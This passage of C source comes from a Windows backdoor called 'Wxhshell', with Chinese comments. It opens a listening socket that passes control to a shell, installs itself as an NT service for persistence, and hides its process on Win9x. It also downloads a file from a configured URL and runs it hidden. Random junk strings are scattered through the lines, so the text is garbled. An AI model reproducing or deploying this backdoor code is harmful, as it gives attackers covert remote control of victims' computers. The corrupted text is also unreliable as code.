} PROCESS_BASIC_INFORMATION; Qu?R8+"KS
%7zuQ \w
PROCNTQSIP NtQueryInformationProcess; _}lZ,L(w
qE&v ;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YVQN&|-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PRu 6xsyA
.7e2YI,S
HANDLE hProcess; #hfXZVD
PROCESS_BASIC_INFORMATION pbi; \KMToN&2
!=;+%C&8y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @$S+ Ne[<
if(NULL == hInst ) return 0; S%bCyK%p
& ?h#Z!
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s.bc>E0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 27
]':A4_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TSTl+W
]zj9A]i:a
if (!NtQueryInformationProcess) return 0; R "n5
^U
`[(kz=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ixb=L(V
if(!hProcess) return 0; @mOH"acGn?
RQ vft
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U
9_9l7&r
(D#B_`;-
CloseHandle(hProcess); Oft-w)cYz,
-I*^-+>H
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H$=e
-L`@
if(hProcess==NULL) return 0; QLXN*c
4 !i$4
HMODULE hMod; wQqb`l7+
char procName[255]; Isvx7$Vu+
unsigned long cbNeeded; 6h|q'.Y
z.7cy@N6
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f[<m<I
\Jx04[=
CloseHandle(hProcess); KK&rb~
Aw}"gpL
if(strstr(procName,"services")) return 1; // 以服务启动 CJ1 7n
fsJ9bQm/
return 0; // 注册表启动 U{7w#>V
.
} ~HTmO;HNf"
xf<at ->
// 主模块 o<|cA5f\
int StartWxhshell(LPSTR lpCmdLine) I8wXuIN_
{ {@eJtF+2
SOCKET wsl; 1C<uz29
BOOL val=TRUE; .z]Wyx&/U
int port=0; ^V ?<K.F
struct sockaddr_in door; ^8 z R
rf
$ QxJ
if(wscfg.ws_autoins) Install(); o)Iff)m$
$;1#To
port=atoi(lpCmdLine); 3,p]/Z_
+MR.>"
if(port<=0) port=wscfg.ws_port; 8$")%_1]
9!6f-K
WSADATA data; j/R[<47
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ja,wfRq
s3~lT.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &M46&^Jho
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kStnb?nk
door.sin_family = AF_INET; 5Sm}nH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); a][f
door.sin_port = htons(port); G9Y#kBr
)Q1"\\2j0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6g 5#TpCh
closesocket(wsl); ^A!Qc=#z}
return 1; ;T"zV{;7BR
} HBy[FYa4
1,6}_MA
if(listen(wsl,2) == INVALID_SOCKET) { d:#yEC
closesocket(wsl); "3Uv]F
return 1; !Fca~31R'
} M$y+q
^
Wxhshell(wsl); FG%X~L<d,)
WSACleanup(); ?ATOXy
fmQ_P.c
return 0; BcL{se9<
~<O7$~
} :yRo3c
KV]X@7`@
// 以NT服务方式启动 &,}j#3<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JW{rA6?
{ q)Lu_6 mg
DWORD status = 0; q"%_tS
DWORD specificError = 0xfffffff; 5>CEl2mSl
zDw5]*R
serviceStatus.dwServiceType = SERVICE_WIN32; 24E}<N,g
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @Fluc,Il
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `7 vHt`
serviceStatus.dwWin32ExitCode = 0; :Pvzl1
serviceStatus.dwServiceSpecificExitCode = 0; gYNjzew'
serviceStatus.dwCheckPoint = 0; 1$D_6U:H0
serviceStatus.dwWaitHint = 0; +b.g$CRr
T^Y([23
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [h^2Y&Au5
if (hServiceStatusHandle==0) return; M^O2\G#B
*C5R}9O5
status = GetLastError(); nH`Q#ZFz]?
if (status!=NO_ERROR) {t0)
q
{ =7w\
7-.m
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Xj7~,
serviceStatus.dwCheckPoint = 0; 19HM])Zw\
serviceStatus.dwWaitHint = 0; f({Ei`|
serviceStatus.dwWin32ExitCode = status; {{B%f.
serviceStatus.dwServiceSpecificExitCode = specificError; ix([mQg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q#T/
return; 01}C^iD
} Q~OxH'>>(
qCljo5Tq'
serviceStatus.dwCurrentState = SERVICE_RUNNING; U@HK+C"M|
serviceStatus.dwCheckPoint = 0; G`n_YH084
serviceStatus.dwWaitHint = 0; <L"GqNuRQ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v{(^1cX
} 7uKNd
*%
{ &"CH]r
// 处理NT服务事件,比如:启动、停止 spdvZU=}
VOID WINAPI NTServiceHandler(DWORD fdwControl) qT%FmX
{ pk^K:Xs}
switch(fdwControl) ;g @4|Ro
{ T?x[C4wf+
case SERVICE_CONTROL_STOP: 23c 8
serviceStatus.dwWin32ExitCode = 0; M[mF8Zf
serviceStatus.dwCurrentState = SERVICE_STOPPED; %e-7ubW
serviceStatus.dwCheckPoint = 0; zbk q
serviceStatus.dwWaitHint = 0; ^5H >pat
{ <g1hxfKx5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i>D.!x
} qyF{f8pzq
return; luo
case SERVICE_CONTROL_PAUSE: '^No)n\`
serviceStatus.dwCurrentState = SERVICE_PAUSED; O_ChxX0KP
break; QWD'!)Zb
case SERVICE_CONTROL_CONTINUE: xD5:RE~g
serviceStatus.dwCurrentState = SERVICE_RUNNING; j/fzzI0@
break; [3(74
case SERVICE_CONTROL_INTERROGATE: cl]Mi
"3_
break; 5_- (<B
}; v*r7Zz6l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ToJ$A`_!`
} z.kvX+7'
(BTVD,G
// 标准应用程序主函数 EK;YiJ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .@(6 Y<dN
{ Y"~gw~7OD
^lA=* jY(
// 获取操作系统版本 [P&7i57
OsIsNt=GetOsVer(); mS^tX i5hg
GetModuleFileName(NULL,ExeFile,MAX_PATH); KVT-P};jy*
A/u)# ^\
// 从命令行安装 zG ^$"f2
if(strpbrk(lpCmdLine,"iI")) Install(); P(H8[ ,
PcA2/!a
// 下载执行文件 )TVFtI=,NN
if(wscfg.ws_downexe) { mS~o?q-n
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *v9 2
WinExec(wscfg.ws_filenam,SW_HIDE); d/BM&r
} }s(N6 a&(
~\Hc,5G
if(!OsIsNt) { EdlTdn@A
// 如果时win9x,隐藏进程并且设置为注册表启动 <kGU,@6PF
HideProc(); 3QG7C{
StartWxhshell(lpCmdLine); %kS(LlL+6
} )(ImLbM)
else Hea;?4Vg
if(StartFromService()) N+Y]st+
// 以服务方式启动 I aGq]z
StartServiceCtrlDispatcher(DispatchTable); y~q8pH1
else T)H{
// 普通方式启动 H5Z$*4%G
StartWxhshell(lpCmdLine); q35f&O;
7]blrN]
return 0; 4)A#2
} ,Wk?I%>
]j`c]2EuP
~:Ll&29i
SKkUU^\#R`
=========================================== nEJY5Bz$
n2)@S0{
qU#1i:(F*
A-ZN F4
V:VO[e<e
m9.{[K"
" ] lrWgm
n[G &ksQI
#include <stdio.h> 2/"u5
#include <string.h> IIn"=g=9
#include <windows.h> G/7cK\^u
#include <winsock2.h> IOqwCD[
#include <winsvc.h> uI1q>[
#include <urlmon.h> XCU7xi$d
w8U&ls